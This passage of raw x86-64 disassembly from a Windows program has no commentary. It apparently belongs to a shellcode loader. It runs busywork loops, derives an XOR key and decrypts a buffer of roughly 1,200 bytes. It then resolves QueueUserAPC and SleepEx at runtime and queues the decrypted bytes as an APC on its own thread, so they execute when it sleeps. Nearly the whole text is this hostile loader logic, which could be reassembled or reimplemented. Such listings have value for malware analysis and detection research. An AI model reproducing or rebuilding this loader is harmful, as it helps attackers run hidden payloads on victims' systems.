mov eax, dword [rbp + 0x654]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x688]
add rax, rdx
movss xmm0, dword [rbp + 0x650]
movss dword [rax], xmm0
add dword [rbp + 0x874], 1
mov eax, 0xd6
sub eax, dword [rbp + 0x874]
cmp dword [rbp + 0x654], eax
jl 0x1400028b1
add dword [rbp + 0x874], 1
cmp dword [rbp + 0x874], 0xd6
jle 0x1400028a2
mov rax, qword [rbp + 0x688]
mov rcx, rax
call sub.msvcrt.dll_free
cmp dword [rbp + 0x87c], 0x73
jne 0x140002b18
mov dword [rbp + 0x684], 1
mov ecx, 0xf64
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x678], rax
mov qword [rbp + 0x868], 2
jmp 0x140002a2a
mov rax, qword [rbp + 0x868]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x678]
add rax, rdx
mov dword [rax], 1
add qword [rbp + 0x868], 1
cmp qword [rbp + 0x868], 0x3d8
jbe 0x140002a03
mov qword [rbp + 0x868], 2
jmp 0x140002ac1
mov rax, qword [rbp + 0x868]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x678]
add rax, rdx
mov eax, dword [rax]
test eax, eax
je 0x140002ab9
mov rax, qword [rbp + 0x868]
mov qword [rbp + 0x860], rax
jmp 0x140002aa2
mov rax, qword [rbp + 0x868]
imul rax, qword [rbp + 0x860]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x678]
add rax, rdx
mov dword [rax], 0
add qword [rbp + 0x860], 1
mov rax, qword [rbp + 0x868]
imul rax, qword [rbp + 0x860]
cmp rax, 0x3d8
jbe 0x140002a73
add qword [rbp + 0x868], 1
cmp qword [rbp + 0x868], 0x3d8
jbe 0x140002a44
mov rax, qword [rbp + 0x678]
mov rcx, rax
call sub.msvcrt.dll_free
mov eax, dword [rbp + 0x880]
cdqe
movzx edx, byte [rbp + rax + 0x40]
mov eax, dword [rbp + 0x87c]
cdqe
movzx eax, byte [rbp + rax + 0xc0]
xor edx, eax
mov eax, dword [rbp + 0x880]
cdqe
mov byte [rbp + rax - 0x40], dl
mov dword [rbp + 0x87c], 0
jmp 0x140002b4a
mov eax, dword [rbp + 0x880]
cdqe
movzx edx, byte [rbp + rax + 0x40]
mov eax, dword [rbp + 0x87c]
cdqe
movzx eax, byte [rbp + rax + 0xc0]
xor edx, eax
mov eax, dword [rbp + 0x880]
cdqe
mov byte [rbp + rax - 0x40], dl
add dword [rbp + 0x87c], 1
mov ecx, 0x980
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x670], rax
mov ecx, 0x980
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x668], rax
mov ecx, 0x980
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x660], rax
mov ecx, 0x980
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x658], rax
mov dword [rbp + 0x858], 0x25f
mov dword [rbp + 0x85c], 0
jmp 0x140002c3a
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x85c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x670]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x85c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x668]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x85c], 1
cmp dword [rbp + 0x85c], 0x25f
jle 0x140002ba7
mov dword [rbp + 0x85c], 0
jmp 0x140002cd9
mov eax, dword [rbp + 0x858]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x670]
add rax, rdx
mov edx, dword [rbp + 0x85c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x660]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x858]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x668]
add rax, rdx
mov edx, dword [rbp + 0x85c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x658]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x858], 1
add dword [rbp + 0x85c], 1
cmp dword [rbp + 0x85c], 0x25f
jle 0x140002c59
mov rax, qword [rbp + 0x670]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x668]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x660]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x658]
mov rcx, rax
call sub.msvcrt.dll_free
add dword [rbp + 0x880], 1
mov eax, dword [rbp + 0x880]
cmp eax, 0x71
jbe 0x1400027da
mov dword [rbp + 0x880], 0
jmp 0x140002de9
cmp dword [rbp + 0x878], 0x71
jne 0x140002d9d
mov eax, dword [rbp + 0x880]
movsxd rdx, eax
mov rax, qword [rbp + 0x6b0]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x878]
cdqe
movzx ecx, byte [rbp + rax - 0x40]
mov eax, dword [rbp + 0x880]
movsxd rdx, eax
mov rax, qword [rbp + 0x6b0]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
mov dword [rbp + 0x878], 0
jmp 0x140002de2
mov eax, dword [rbp + 0x880]
movsxd rdx, eax
mov rax, qword [rbp + 0x6b0]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x878]
cdqe
movzx ecx, byte [rbp + rax - 0x40]
mov eax, dword [rbp + 0x880]
movsxd rdx, eax
mov rax, qword [rbp + 0x6b0]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
add dword [rbp + 0x878], 1
add dword [rbp + 0x880], 1
cmp dword [rbp + 0x880], 0x4ad
jle 0x140002d4a
mov rax, qword [rbp + 0x6b0]
mov qword [rbp + 0x6a0], rax
mov rax, qword [rbp + 0x848]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x698], rax
mov rax, qword [rbp + 0x848]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x690], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x6a0]
mov r9, qword [rbp + 0x698]
mov r8d, 0
mov rcx, rax
call r9
mov rax, qword [rbp + 0x690]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov eax, 0
movups xmm6, xmmword [rbp + 0x8d0]
add rsp, 0x968
pop rbx
pop rsi
pop rdi
pop rbp
ret